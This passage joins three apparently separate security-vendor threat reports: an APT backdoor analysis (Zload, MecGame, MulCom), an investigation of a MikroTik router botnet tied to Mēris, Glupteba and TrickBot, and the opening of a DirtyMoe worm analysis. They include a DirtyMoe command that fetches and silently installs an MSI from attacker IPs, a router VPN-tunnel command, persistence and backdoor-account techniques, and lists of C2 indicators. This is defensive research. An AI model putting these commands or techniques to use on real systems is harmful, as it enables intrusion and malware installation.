2ABC43865E49F8835844D30372697FDA55992E5A6A13808CFEED1C37BA8F7876

The DLL we call Zload is an example of a plugin loaded by the Core Plugin. It exports four functions: “GetPlugin”, “Install”, “core_zload” and ”zload”. The main functionality of this plugin is setting up persistence, creating a backdoor user account, and concealing itself on the infected system. We will focus on the exported functions zload, core_zload and the default DllMain function, as they contain the most interesting functionality.

Zload (process starter)

This function is fairly simple, its main objective is to execute another binary. It first retrieves the path to the directory where the Zload plugin binary is located (<root_folder>) and creates a new subfolder called "mec" in it. After this it renames and moves three files into it:

• the Zload plugin binary itself as <root_folder>\mec\logexts.dll,
• <root_folder>\spdlogd.exe as <root_folder>\mec\spdagent.exe and
• <root_folder>\kb.ini as <root_folder>\mec\kb.ini

After the files are renamed and moved, it creates a new process by executing the binary <root_folder>\mec\spdagent.exe (originally <root_folder>\spdlogd.exe).

core_zload (persistence setup)

This function is responsible for persistence which it achieves by registering itself into the list of security support providers (SSPs). Windows SSP DLLs are loaded into the Local Security Authority (LSA) process when the system boots. The code of this function is notably similar to the mimikat_ssp/AddSecurityPackage_RawRPC source code found on github.

DllMain (sideloading, setup)

The default DllMain function leverages several persistence and evasion techniques. It also allows the attacker to create a backdoor account on the infected system and lower the overall system security.

Persistence

The plugin first checks if its DLL was loaded either by the processes “lsass.exe” or “spdagent.exe”. If the DLL was loaded by “spdagent.exe”, it will adjust the token privileges of the current process.

If it was loaded by “lsass.exe”, it will retrieve the path “kb<num>.dll” from the configuration file “kb.ini” and write it under the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters AutodialDLL. This ensures persistence, as it causes the DLL “kb<num>.dll” to be loaded each time the Winsock 2 library (ws2_32.dll) is invoked.

Evasion

To avoid detection, the plugin first checks the list of running processes for “avp.exe” (Kaspersky Antivirus) or “NortonSecurity.exe” and exits if either of them is found. If these processes are not found on the system, it goes on to conceal itself by changing its own process name to “explorer.exe”.

The plugin also has the capability to bypass the UAC mechanisms and to elevate its process privileges through CMSTP COM interfaces, such as CMSTPLUA {3E5FC7F9-9A51-4367-9063-A120244FBEC7}.

Backdoor user account creation

Next, the plugin carries out registry manipulation (details can be found in the appendix), that lowers the system’s protection by:

• Allowing local accounts to have full admin rights when they are authenticating via network logon
• Enabling RDP connections to the machine without the user password
• Disabling admin approval on an administrator account, which means that all applications run with full administrative privileges
• Enabling anonymous SID to be part of the everyone group in Windows
• Allowing “Null Session” users to list users and groups in the domain
• Allowing “Null Session” users to access shared folders
• Setting the name of the pipe that will be accessible to “Null Session” users

After this step, the plugin changes the WebClient service startup type to “Automatic”. It creates a new user with the name “DefaultAccount” and the password “[email protected]!” which is then added to the “Administrator” and “Remote Desktop Users” groups. It also hides the new account on the logon screen.

As the last step, the plugin checks the list of running processes for process names “360tray.exe” and “360sd.exe” and executes the file "spdlogd.exe" if neither of them is found.

MecGame(kb%num%.dll)

4C73A62A9F19EEBB4FEFF4FDB88E4682EF852E37FFF957C9E1CFF27C5E5D47AD

MecGame is another example of a plugin that can be loaded by the Core Plugin. Its main purpose is similar to the previously described Zload plugin – it executes the binary “spdlogd.exe” and achieves persistence by registering an RPC interface with UUID {1052E375-2CE2-458E-AA80-F3B7D6EA23AF}. This RPC interface represents a function that decodes and executes a base64 encoded shellcode.

The MecGame plugin has several methods for executing spdlogd.exe depending on the level of available privileges. It also creates a lockfile with the name MSSYS.lck or <UserName>-XPS.lck depending on the name of the process that loaded it, and deletes the files atomxd.dll and logexts.dll.

It can be installed as a service with the service name “inteloem” or can be loaded by any executable that connects to the internet via the Winsock2 library.

MulCom

ABA89668C6E9681671A95B3D7A08AAE2A067DEED2D835BA6F6FD18556C88A5F2

This DLL is a backdoor module which exports four functions: “OperateRoutineW”, “StartRoutineW”, “StopRoutineW” and ”WorkRoutineW”; the main malicious function being “StartRoutineW”.

For proper execution, the backdoor needs configuration data accessed through a shared object with the file mapping name either “Global\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB” or "Local\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB”. Unfortunately we didn’t come across the configuration data, so we are missing some information such as the C&C server domains this module uses.

There are 15 commands supported by this backdoor (although some of them are not implemented) referred to by the following numerical identifiers:

Command ID	Function description
1	Sends collected data from executed commands. It is used only if the authentication with a proxy is done through NTLM
2	Finds out information about the domain name, user name and security identifier of the process explorer.exe. It finds out the user name, domain name, and computer name of all Remote Desktop sessions.
3	Enumerates root disks
4	Enumerates files and finds out their creation time, last access time and last write time
5	Creates a process with a duplicated token. The token is obtained from one of the processes in the list (see Appendix).
6	Enumerates files and finds out creation time, last time access, last write time
7	Renames files
8	Deletes files
9	Creates a directory
101	Sends an error code obtained via GetLastError API function
102	Enumerates files in a specific folder and finds out their creation time, last access time and last write time
103	Uploads a file to the C&C server
104	Not implemented (reserved)
Combination of 105/106/107	Creates a directory and downloads files from the C&C server

Communication protocol

The MulCom backdoor is capable of communicating via HTTP and TCP protocols. The data it exchanges with the C&C servers is encrypted and compressed by the RC4 and aPack algorithms respectively, using the RC4 key loaded from the configuration data object.

It is also capable of proxy server authentication using schemes such as Basic, NTLM, Negotiate or to authenticate via either the SOCKS4 and SOCKS5 protocols.

After successful authentication with a proxy server, the backdoor sends data xorred by the constant 0xBC. This data is a set with the following structure:

Another interesting capability of this backdoor is the usage of layered C&C servers. If this option is enabled in the configuration object (it is not the default option), the first request goes to the first layer C&C server, which returns the IP address of the second layer. Any subsequent communication goes to the second layer directly.

As previously stated, we found several code similarities between the MulCom DLL and the FFRat (a.k.a. FormerFirstRAT).

Conclusion

We have described a robust and modular toolset used most likely by a Chinese speaking APT group targeting gambling-related companies in South East Asia. As we mentioned in this blogpost, there are notable code similarities between FFRat samples and the MulCom backdoor. FFRat or "FormerFirstRAT'' has been publicly associated with the DragonOK group according to the Palo Alto Network report, which has in turn been associated with backdoors like PoisonIvy and PlugX – tools commonly used by Chinese speaking attackers.

We also described two different infection vectors, one of which weaponized a vulnerable WPS Office updater. We rate the threat this infection vector represents as very high, as WPS Office claims to have 1.2 billion installations worldwide, and this vulnerability potentially allows a simple way to execute arbitrary code on any of these devices. We have contacted WPS Office about the vulnerability we discovered and it has since been fixed.

Our research points to some unanswered questions, such as reliable attribution and the attackers’ motivation.

Appendix

List of processes:

• 360sd.exe
• 360rp.exe
• 360Tray.exe
• 360Safe.exe
• 360rps.exe
• ZhuDongFangYu.exe
• kxetray.exe
• kxescore.exe
• KSafeTray.exe
• KSafe.exe
• audiodg.exe
• iexplore.exe
• MicrosoftEdge.exe
• MicrosoftEdgeCP.exe
• chrome.exe

Registry values changed by the Zload plugin:

Registry path in HKEY_LOCAL_MACHINE	Registry key
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System	LocalAccountTokenFilterPolicy = 1 FilterAdministratorToken = 0
SYSTEM\\CurrentControlSet\\Control\\Lsa	LimitBlankPasswordUse = 0 EveryoneIncludesAnonymous = 1 RestrictAnonymous = 0
System\\CurrentControlSet\\Services\\LanManServer\\Parameters	RestrictNullSessAccess = 0 NullSessionPipes = RpcServices

Core module working directory (WD)

Default hard-coded WD names (created either in C:\ProgramData\ or in %TEMP%):

• spptools
• NewGame
• TspSoft
• InstallAtomx

File used to test permissions: game_<tick_count>.log – the WD path is written into it and then the file is deleted.

Hard-coded security descriptor used for WD access: “D:(A;;GA;;;WD)(A;OICIIO;GA;;;WD)”. 

Lockfile name format: “<working_dir>\<victim_username>-<comment_string>.log”

Core module mutexes:

Global\sysmon-windows-%x (%x is a CRC32 of an MD5 hash of the victim’s username)

Global\IntelGameSpeed-%x (%x is a CRC32 of an MD5 hash of the victim’s username

Global\TencentSecuriryAgent-P01-%s (%s is the victim’s username)

Indicators of Compromise (IoC)

•  Repository: https://github.com/avast/ioc/tree/master/OperationDragonCastling
•  List of SHA-256: https://github.com/avast/ioc/blob/master/OperationDragonCastling/samples.sha256

The post Operation Dragon Castling: APT group targeting betting companies appeared first on Avast Threat Labs.

This is the story of piecing together information and research leading to the discovery of one of the largest botnet-as-a-service cybercrime operations we’ve seen in a while. This research reveals that a cryptomining malware campaign we reported in 2018, Glupteba malware, significant DDoS attacks targeting several companies in Russia, including Yandex, as well as in New Zealand, and the United States, and presumably also the TrickBot malware were all distributed by the same C2 server. I strongly believe the C2 server serves as a botnet-as-a-service controlling nearly 230,000 vulnerable MikroTik routers, and may be the Meris botnet QRator Labs described in their blog post, which helped carry out the aforementioned DDoS attacks. Default credentials, several vulnerabilities, but most importantly the CVE-2018-14847 vulnerability, which was publicized in 2018, and for which MikroTik issued a fix for, allowed the cybercriminals behind this botnet to enslave all of these routers, and to presumably rent them out as a service. 

The evening of July 8, 2021

As a fan of MikroTik routers, I keep a close eye on what’s going on with these routers. I have been tracking MikroTik routers for years, reporting a crypto mining campaign abusing the routers as far back as 2018. The mayhem around MikroTik routers began in 2018 mainly thanks to vulnerability CVE-2018-14847, which allowed cybercriminals to very easily bypass authentication on the routers. Sadly, many MikroTik routers were left unpatched, leaving their default credentials exposed on the internet.

Naturally, an email from our partners, sent on July 8, 2021, regarding a TrickBot campaign landed in my inbox. They informed us that they found a couple of new C2 servers that seemed to be hosted on IoT devices, specifically MikroTik routers, sending us the IPs. This immediately caught my attention. 

MikroTik routers are pretty robust but run on a proprietary OS, so it seemed unlikely that the routers were hosting the C2 binary directly. The only logical conclusion I could come to was that the servers were using enslaved MikroTik devices to proxy traffic to the next tier of C2 servers to hide them from malware hunters.  

I instantly had deja-vu, and thought “They are misusing that vulnerability aga…”.

Opening Pandora’s box full of dark magic and evil

Knowing all this, I decided to experiment by deploying a honeypot, more precisely a vulnerable version of a MikroTik cloud router exposed to the internet. I captured all the traffic and logged everything from the virtual device. Initially, I thought, let’s give it a week to see what’s going on in the wild.

In the past, we were only dealing with already compromised devices seeing the state they had been left in, after the fact. I was hoping to observe the initial compromise as it happened in real-time. 

Exactly 15 minutes after deploying the honeypot, and it’s important to note that I intentionally changed the admin username and password to a really strong combination before activating it, I saw someone logging in to the router using the infamous CVE described above (which was later confirmed by PCAP analysis).

We’ve often seen fetch scripts from various domains hidden behind Cloudflare proxies used against compromised routers.

But either by mistake, or maybe intentionally, the first fetch that happened after the attacker got inside went to: 

bestony.club at that time was not hidden behind Cloudflare and resolved directly to an IP address (116.202.93.14), a VPS hosted by Hetzner in Germany. This first fetch served a script that tried to fetch additional scripts from the other domains.

What is the intention of this script you ask? Well, as you can see, it tries to overwrite and rename all existing scheduled scripts named U3, U4..U7 and set scheduled tasks to repeatedly import script fetched from the particular address, replacing the first stage “bestony.info” with “globalmoby.xyz”. In this case, the domain is already hidden behind CloudFlare to minimize likeness to reveal the real IP address if the C2 server is spotted.

The second stage of the script, pulled from the C2, is more concrete and meaningful:

It hardens the router by closing all management interfaces leaving only SSH, and WinBox (the initial attack vector) open and enables the SOCKS4 proxy server on port 5678.

Interestingly, all of the URLs had the same format:

http://[domainname]/poll/[GUID]

The logical assumption for this would be that the same system is serving them, if bestony.club points to a real IP, while globalmoby.xyz is hidden behind a proxy, Cloudflare probably hides the same IP. So, I did a quick test by issuing:  

And it worked! Notice two things here; it’s necessary to put a --user-agent header to imitate the router; otherwise, it won’t work. I found out that the GUID doesn’t matter when issuing the request for the first time, the router is probably registered in the database, so anything that fits the GUID format will work. The second observation was that every GUID works only once or has some rate limitation. Testing the endpoint, I also found that there is a bug or a “silent error” when the end of the URL doesn’t conform to the GUID, for example:

It works too, and it works consistently, not just once. It seems when inserting the URL into the database, an error/exception is thrown, but because it is silently ignored, nothing is written into the database, but still the script is returned (which is quite interesting, that would mean the scripts are not exactly tied to the ID of the victim).

Listing used domains

The bestony.club is the first stage, and it gets us the second stage script and Cloudflare hidden domain. You can see the GUID is reused throughout the stages. Provided all that we’ve learned, I tried to query the   

It worked several times, and as a bonus, it was returning different domains now and then. So by creating a simple script, we “generated” a list of domains being actively used. 

domain	IP	ISP
bestony.club	116.202.93.14	Hetzner, DE
massgames.space	multiple	Cloudflare
widechanges.best	multiple	Cloudflare
weirdgames.info	multiple	Cloudflare
globalmoby.xyz	multiple	Cloudflare
specialword.xyz	multiple	Cloudflare
portgame.website	multiple	Cloudflare
strtz.site	multiple	Cloudflare

The evil spreads its wings

Having all these domains, I decided to pursue the next step to check whether all the hidden domains behind Cloudflare are actually hosted on the same server. I was closer to thinking that the central C&C server was hosted there too. Using the same trick, querying the IP directly with the host header, led to the already expected conclusion:

Yes, all the domains worked against the IP, moreover, if you try to query a GUID, particularly using the host headers trick:

It won’t work again using the full URL and vice versa.

Which returns an error as the GUID has been already registered by the first query, proving that we are accessing the same server and data.

Obviously, we found more than we asked for, but that was not the end.

A short history of CVE-2018-14847

It all probably started back in 2018, more precisely on April 23, when Latvian hardware company MikroTik publicly announced that they fixed and released an update for their very famous and widely used routers, patching the CVE-2018-14847 vulnerability. This vulnerability allowed anyone to literally download the user database and easily decode passwords from the device remotely by just using a few packets through the exposed administrative protocol TCP port 8291. The bar was low enough for anyone to exploit it, and no force could have pushed users to update the firmware. So the outcome was as expected: Cybercriminals had started to exploit it.

The root cause 

Tons of articles and analysis of this vulnerability have been published. The original explanation behind it was focused more on how the WinBox protocol works and that you can ask a file from the router if it’s not considered as sensitive in pre-auth state of communication. Unfortunately, in the reading code path there is also a path traversal vulnerability that allows an attacker to access any file, even if it is considered as sensitive. The great and detailed explanation is in this post from Tenable. The researchers also found that this path traversal vulnerability is shared among other “API functions” handlers, so it’s also possible to write an arbitrary file to the router using the same trick, which greatly enlarges the attack surface.

Messy situation

Since then, we’ve been seeing plenty of different strains misusing the vulnerability. The first noticeable one was crypto mining malware cleverly setting up the router using standard functions and built-in proxy to inject crypto mining JavaScript into every HTTP request being made by users behind the router, amplifying the financial gain greatly. More in our Avast blog post from 2018.

Since then, the vulnerable routers resembled a war field, where various attackers were fighting for the device, overwriting each other’s scripts with their own. One such noticeable strain was Glupteba misusing the router and installing scheduled scripts that repeatedly reached out for commands from C2 servers to establish a SOCKS proxy on the device that allowed it to anonymize other malicious traffic.

Now, we see another active campaign is being hosted on the same servers, so is there any remote possibility that these campaigns are somehow connected?

Closing the loop

As mentioned before, all the leads led to this one particular IP address  (which doesn’t work anymore)

116.202.93.14 

It was more than evident that this IP is a C2 server used for an ongoing campaign, so let’s find out more about it, to see if we can find any ties or indication that it is connected to the other campaigns.

It turned out that this particular IP has been already seen and resolved to various domains. Using the RISKIQ service, we also found one eminent domain tik.anyget.ru. When following the leads and when digging deeper and trying to find malicious samples that access the particular host, we bumped into this interesting sample:

a0b07c09e5785098e6b660f93097f931a60b710e1cf16ac554f10476084bffcb

The sample was accessing the following URL, directly http://tik.anyget.ru/api/manager from there it downloaded a JSON file with a list of IP addresses. This sample is ARM32 SOCKS proxy server binary written in Go and linked to the Glupteba malware campaign. The first recorded submission in VirusTotal was from November 2020, which fits with the Glupteba outbreak.

It seems that the Glupteba malware campaign used the same server.

When requesting the URL http://tik.anyget.ru I was redirected to the http://routers.rip/site/login domain (which is again hidden by the Cloudflare proxy) however, what we got will blow your mind:

This is a control panel for the orchestration of enslaved MikroTik routers. As you can see, the number at the top displays the actual number of devices, close to 230K of devices, connected into the botnet. To be sure, we are still looking at the same host we tried:

And it worked. Encouraged by this, I also tried several other IoCs from previous campaigns:

From the crypto mining campaign back in 2018:

To the Glupteba sample:

All of them worked. Either all of these campaigns are one, or we are witnessing a botnet-as-a-service. From what I’ve seen, I think the second is more likely. When browsing through the control panel, I found one section that had not been password protected, a presets page in the control panel:

The oddity here is that the page automatically switches into Russian even though the rest stays in English (intention, mistake?). What we see here are configuration templates for MikroTik devices. One in particular tied the loop of connecting the pieces together even more tightly. The VPN configuration template

This confirms our suspicion, because these exact configurations can be found on all of our honeypots and affected routers:

Having all these indications and IoCs collected, I knew I was dealing with a trove of secrets and historical data since the beginning of the outbreak of the MikroTik campaign. I also ran an IPV4 thorough scan for socks port 5678, which was a strong indicator of the campaign at that time, and I came up with almost 400K devices with this port opened. The socks port was opened on my honeypot, and as soon as it got infected, all the available bandwidth of 1Mbps was depleted in an instant. At that point, I thought this could be the enormous power needed for  DDoS attacks, and then two days later…

Mēris 

On September 7, 2021, QRator Labs published a  blog post about a new botnet called Mēris.  Mēris is a botnet of considerable scale misusing MikroTik devices to carry out one of the most significant DDoS attacks against Yandex, the biggest search engine in Russia, as well as attacks against companies in Russia, New Zealand, and the United States. It had all the features I’ve described in my investigation.

The day after the publication appeared, the C2 server stopped serving scripts, and the next day, it disappeared completely. I don’t know if it was a part of a legal enforcement action or just pure coincidence that the attackers decided to bail out on the operation in light of the public attention on Mēris. The same day my honeypots restored the configuration by closing the SOCKS proxies.

TrickBot

As the IP addresses mentioned at the very beginning of this post sparked our wild investigation, we owe TrickBot a section in this post. The question, which likely comes to mind now is: “Is TrickBot yet another campaign using the same botnet-as-a-service?”. We can’t tell for sure. However, what we can share is what we found on devices. The way TrickBot proxies the traffic using the NAT functionality in MikroTik usually looks like this:

Part of IoC fingerprint is that usually, the same rule is there multiple times, as the infection script doesn’t check if it is already there:

Although in the case of TrickBot we are not entirely sure if this could be taken as proof, I found some shared IoCs, such as  

• Outgoing PPTP/L2TP VPN tunnel on domains
  /interface l2tp-client add connect-to=<sxx.eeongous.com|sxx.leappoach.info> disabled=no name=lvpn password=<passXXXXXXX> profile=default user=<userXXXXXXX>
• Scheduled scripts / SOCKS proxies enabled as in previous case
• Common password being set on most of the TrickBot MikroTik C2 proxies

It’s, however, not clear if this is a pure coincidence and a result of the router being infected more than once, or if the same C2 was used. From the collected NAT translation, I’ve been able to identify a few IP addresses of the next tier of TrickBot C2 servers (see IoCs section).

Not only MikroTik used by TrickBot

When investigating the TrickBot case I saw (especially after the Mēris case was published) a slight shift over time towards other IoT devices, other than MikroTik. Using the SSH port fingerprinting I came across several devices with an SSL certificate leading to LigoWave devices. Again, the modus operandi seems to be the same, the initial vector of infection seems to be default credentials, then using capabilities of the device to proxy the traffic from the public IP address to TrickBot “hidden” C2 IP address.

To find the default password it took 0.35 sec on Google

The same password can be used to login into the device using SSH as admin with full privileges and then it’s a matter of using iptables to set up the same NAT translation as we saw in the MikroTik case

They know the devices

During my research, what struck me was how the criminals paid attention to details and subtle nuances. For example, we found one configuration on this device: 

Knowing this device type, the attacker has disabled a physical display that loops through the stats of all the interfaces, purposefully to hide the fact that there is a malicious VPN running.

Remediation

The main and most important step to take is to update your router to the latest version and remove the administrative interface from the public-facing interface, you can follow our recommendation from our 2018 blog post which is still valid. In regards to TrickBot campaign, there are few more things you can do:

• check all dst-nat mappings in your router, from SSH or TELNET terminal you can simply type:
  /ip firewall nat print and look for the nat rules that are following the aforementioned rules or are suspicious, especially if the dst-address and to-address are both public IP addresses.
• check the usernames /user print if you see any unusual username or any of the usernames from our IoCs delete them 
• If you can’t access your router on usual ports, you can check one of the alternative ones in our IoCs as attackers used to change them to prevent others from taking back  ownership of the device. 
• Check the last paragraph of this blog post  for more details on how to setup your router in a safe manner

Conclusion

Since 2018, vulnerable  MikroTik routers have been misused for several campaigns. I believe, and as some of the IoCs and my research prove, that a botnet offered for service has been in operation since then. 

It also shows, what is quite obvious for some time already (see our Q3 2021 report), that IoT devices are being heavily targeted not just to run malware on them, which is hard to write and spread massively considering all the different architectures and OS versions, but to simply use their legal and built-in capabilities to set them up as proxies. This is done to either anonymize the attacker’s traces or to serve as a DDoS amplification tool. What we see here is just the tip of the iceberg and it is vital to note that properly and securely setting up devices and keeping them up-to-date is crucial to avoid becoming an easy target and helping facilitate criminal activity.

Just recently, new information popped up showing that the REvil ransomware gang is using MikroTik devices for DDoS attacks. The researchers from Imperva mention in their post that the  Mēris botnet is likely being used to carry out the attack, however, as far as we know the Mēris botnet was dismantled by Russian law enforcement. This a new re-incarnation or the well-known vulnerabilities in MikroTik routers are being exploited again. I can’t tell right now, but what I can tell is that patch adoption and generally, security of IoT devices and routers, in particular, is not good. It’s important to understand that updating devices is not just the sole responsibility of router vendors, but we are all responsible. To make this world more secure, we need to all come together to jointly make sure routers are secure, so please, take a few minutes now to update your routers set up a strong password, disable the administration interface from the public side, and help all the others who are not that technically savvy to do so.

IoC

Main C2 server:

• 116.202.93.14

Glupteba ARM32 proxy sample:

sha256: a0b07c09e5785098e6b660f93097f931a60b710e1cf16ac554f10476084bffcb

C2 domains:

• ciskotik.com
• motinkon.co
• bestony.club
• massgames.space
• widechanges.best
• weirdgames.info
• globalmoby.xyz
• specialword.xyz
• portgame.website
• strtz.site
• myfrance.xyz
• routers.rip
• tik.anyget.ru

VPN server domain names:

• s[xx].leappoach.info
• s[xx].eeongous.com

VPN name (name of VPN interface):

• lvpn

Alternate SSH ports on routers:

• 26
• 220
• 2222
• 2255
• 3535
• 7022
• 10022
• 12067
• 12355
• 19854
• 22515
• 22192
• 43321
• 51922

Alternate TELNET ports on routers:

• 230
• 32
• 2323
• 2355
• 10023
• 50000
• 52323

Alternate WinBox ports on routers:

• 123
• 700
• 1205
• 1430
• 8091
• 8292
• 8295
• 50001
• 52798

Trickbot “hidden” C2 servers:

• 31.14.40.116
• 45.89.125.253
• 185.10.68.16
• 31.14.40.207
• 185.244.150.26
• 195.123.212.17
• 31.14.40.173
• 88.119.170.242
• 103.145.13.31
• 170.130.55.84
• 45.11.183.152
• 185.212.170.250
• 23.106.124.76
• 31.14.40.107
• 77.247.110.57

TrickBot ports on MikroTik being redirected:

• 449
• 443
• 80

TrickBot ports on hidden servers:

• 447
• 443
• 80
• 8109
• 8119
• 8102
• 8129
• 8082
• 8001
• 8133
• 8121

The post Mēris and TrickBot standing on the shoulders of giants appeared first on Avast Threat Labs.

The DirtyMoe malware is deployed using various kits like PurpleFox or injected installers of Telegram Messenger that require user interaction. Complementary to this deployment, one of the DirtyMoe modules expands the malware using worm-like techniques that require no user interaction.

This research analyzes this worming module’s kill chain and the procedures used to launch/control the module through the DirtyMoe service. Other areas investigated include evaluating the risk of identified exploits used by the worm and detailed analysis of how its victim selection algorithm works. Finally, we examine this performance and provide a thorough examination of the entire worming workflow.

The analysis showed that the worming module targets older well-known vulnerabilities, e.g., EternalBlue and Hot Potato Windows Privilege Escalation. Another important discovery is a dictionary attack using Service Control Manager Remote Protocol (SCMR), WMI, and MS SQL services. Finally, an equally critical outcome is discovering the algorithm that generates victim target IP addresses based on the worming module’s geographical location.

One worm module can generate and attack hundreds of thousands of private and public IP addresses per day; many victims are at risk since many machines still use unpatched systems or weak passwords. Furthermore, the DirtyMoe malware uses a modular design; consequently, we expect other worming modules to be added to target prevalent vulnerabilities.

1. Introduction

DirtyMoe, the successful malware we documented in detail in the previous series, also implements mechanisms to reproduce itself. The most common way of deploying the DirtyMoe malware is via phishing campaigns or malvertising. In this series, we will focus on techniques that help DirtyMoe to spread in the wild.

The PurpleFox exploit kit (EK) is the most frequently observed approach to deploy DirtyMoe; the immediate focus of PurpleFox EK is to exploit a victim machine and install DirtyMoe. PurpleFox EK primarily abuses vulnerabilities in the Internet Explorer browser via phishing emails or popunder ads. For example, Guardicore described a worm spread by PurpleFox that abuses SMB services with weak passwords [2], infiltrating poorly secured systems. Recently, Minerva Labs has described the new infection vector installing DirtyMoe via an injected Telegram Installer [1].

Currently, we are monitoring three approaches used to spread DirtyMoe in the wild; Figure 1 illustrates the relationship between the individual concepts. The primary function of the DirtyMoe malware is crypto-mining; it is deployed to victims’ machines using different techniques. We have observed PurpleFox EK, PurleFox Worm, and injected Telegram Installers as mediums to spread and install DirtyMoe; we consider it highly likely that other mechanisms are used in the wild.

In the fourth series on this malware family, we described the deployment of the DirtyMoe service. Figure 2 illustrates the DirtyMoe hierarchy. The DirtyMoe service is run as a svchost process that starts two other processes: DirtyMoe Core and Executioner, which manages DirtyMoe modules. Typically, the executioner loads two modules; one for Monero mining and the other for worming replication.

Our research has been focused on worming since it seems that worming is one of the main mediums to spread the DirtyMoe malware. The PurpleFox worm described by Guardicore [2] is just the tip of the worming iceberg because DirtyMoe utilizes sophisticated algorithms and methods to spread itself into the wild and even to spread laterally in the local network.

The goal of the DirtyMoe worm is to exploit a target system and install itself into a victim machine. The DirtyMoe worm abuses several known vulnerabilities as follow:

• CVE:2019-9082: ThinkPHP – Multiple PHP Injection RCEs
• CVE:2019-2725: Oracle Weblogic Server – ‘AsyncResponseService’ Deserialization RCE
• CVE:2019-1458: WizardOpium Local Privilege Escalation
• CVE:2018-0147: Deserialization Vulnerability
• CVE:2017-0144: EternalBlue SMB Remote Code Execution (MS17-010)
• MS15-076: RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)
• Dictionary attacks to MS SQL Servers, SMB, and Windows Management Instrumentation (WMI)

The prevalence of DirtyMoe is increasing in all corners of the world; this may be due to the DirtyMoe worm’s strategy of generating targets using a pseudo-random IP generator that considers the worm’s geological and local location. A consequence of this technique is that the worm is more flexible and effective given its location. In addition, DirtyMoe can be expanded to machines hidden behind NAT as this strategy also provides lateral movement in local networks. A single DirtyMoe instance can generate and attack up to 6,000 IP addresses per second.

The insidiousness of the whole worm’s design is its modularization controlled by C&C servers. For example, DirtyMoe has a few worming modules targeting a specific vulnerability, and C&C determines which worming module will be applied based on information sent by a DirtyMoe instance.

The DirtyMoe worming module implements three basic phases common to all types of vulnerabilities. First, the module generates a list of IP addresses to target in the initial phase. Then, the second phase attacks specific vulnerabilities against these targets. Finally, the module performs dictionary attacks against live machines represented by the randomly generated IP addresses. The most common modules that we have observed are SMB and SQL.

This article focuses on the DirtyMoe worming module. We analyze and discuss the worming strategy, which exploits are abused by the malware author, and a module behavior according to geological locations. One of the main topics is the performance of IP address generation, which is crucial for the malware’s success. We are also looking for specific implementations of abused exploits, including their origins.

2. Worm Kill Chain

We can describe the general workflow of the DirtyMoe worming module through the kill chain. Figure 3 illustrates stages of the worming workflow.

Reconnaissance
The worming module generates targets at random but also considers the geolocation of the module. Each generated target is tested for the presence of vulnerable service versions; the module connects to the specific port where attackers expect vulnerable services and verifies whether the victim’s machine is live. If the verification is successful, the worming module collects basic information about the victim’s OS and versions of targeted services.

Weaponization
The C&C server appears to determine which specific module is used for worming without using any victim’s information. Currently, we do not precisely know what algorithm is used for module choice but suspect it depends on additional information sent to the C&C server.

When the module verifies that a targeted victim’s machine is potentially exploitable, an appropriate payload is prepared, and an attack is started. The payload must be modified for each attack since a remote code execution (RCE) command is valid only for a few minutes.

Delivery
In this kill chain phase, the worming module sends the prepared payload. The payload delivery is typically performed using protocols of targeted services, e.g., SMB or MS SQL protocols.

Exploitation and Installation
If the payload is correct and the victim’s machine is successfully exploited, the RCE command included in the payload is run. Consequently, the DirtyMoe malware is deployed, as was detailed in the previous article (DirtyMoe: Deployment).

3. RCE Command

The main goal of the worming module is to achieve RCE under administrator privileges and install a new DirtyMoe instance. The general form of the executed command (@[email protected]) is the same for each worming module:
Cmd /c for /d %i in (@[email protected]) do Msiexec /i http://%i/@[email protected] /Q

The command usually iterates through three IP addresses of C&C servers, including ports. IPs are represented by the placeholder @[email protected] filled on runtime. Practically, @[email protected] is regenerated for each payload sent since the IPs are rotated every minute utilizing sophisticated algorithms; this was described in Section 2 of the first blog.

The second placeholder is @[email protected] representing the DirtyMoe object’s name; this is, in fact, an MSI installer package. The package filename is in the form of a hash – [A-F0-9]{8}\.moe. The hash name is generated using a hardcoded hash table, methods for rotations and substrings, and by the MS_RPC_<n> string, where n is a number determined by the DirtyMoe service.

The core of the @[email protected] command is the execution of the remote DirtyMoe object (http://) via msiexec in silent mode (/Q). An example of a specific @[email protected] command is:
Cmd /c for /d %i in (45.32.127.170:16148 92.118.151.102:19818 207.246.118.120:11410) do Msiexec /i http://%i/6067C695.moe /Q

4. IP Address Generation

The key feature of the worming module is the generation of IP addresses (IPs) to attack. There are six methods used to generate IPs with the help of a pseudo-random generator; each method focuses on a different IPv4 Class. Accordingly, this factor contributes to the globally uniform distribution of attacked machines and enables the generation of more usable IP addresses to target.

4.1 Class B from IP Table

The most significant proportion of generated addresses is provided by 10 threads generating IPs using a hardcoded list of 24,622 items. Each list item is in form 0xXXXX0000, representing IPs of Class B. Each thread generates IPs based on the algorithms as follows:

The algorithm randomly selects a Class B address from the list and 65,536 times generates an entirely random number that adds to the selected Class B addresses. The effect is that the final IP address generated is based on the geological location hardcoded in the list.

Figure 4 shows the geological distribution of hardcoded addresses. The continent distribution is separated into four parts: Asia, North America, Europe, and others (South America, Africa, Oceania). We verified this approach and generated 1M addresses using the algorithm. The result has a similar continental distribution. Hence, the implementation ensures that the IP addresses distribution is uniform.

4.2 Fully Random IP

The other three threads generate completely random IPs, so the geological position is also entirely random. However, the full random IP algorithm generates low classes more frequently, as shown in the algorithm below.

4.3 Derived Classes A, B, C

Three other algorithms generate IPs based on an IP address of a machine (IPm) where the worming module runs. Consequently, the worming module targets machines in the nearby surroundings.

Addresses are derived from the IPm masked to the appropriate Class A/B/C, and a random number representing the lower Class is added; as shown in the following pseudo-code.

4.4 Derived Local IPs

The last IP generating method is represented by one thread that scans interfaces attached to local networks. The worming module lists local IPs using gethostbyname() and processes one local address every two hours.

Each local IP is masked to Class C, and 255 new local addresses are generated based on the masked address. As a result, the worming module attacks all local machines close to the infected machine in the local network.

5. Attacks to Abused Vulnerabilities

We have detected two worming modules which primarily attack SMB services and MS SQL databases. Our team has been lucky since we also discovered something rare: a worming module containing exploits targeting PHP, Java Deserialization, and Oracle Weblogic Server that was still under development. In addition, the worming modules include a packed dictionary of 100,000-words used with dictionary attacks.

5.1 EternalBlue

One of the main vulnerabilities is CVE:2017-0144: EternalBlue SMB Remote Code Execution (patched by Microsoft in MS17-010). It is still bewildering how many EternalBlue attacks are still observed – Avast is still blocking approximately 20 million attempts for the EternalBlue attack every month.

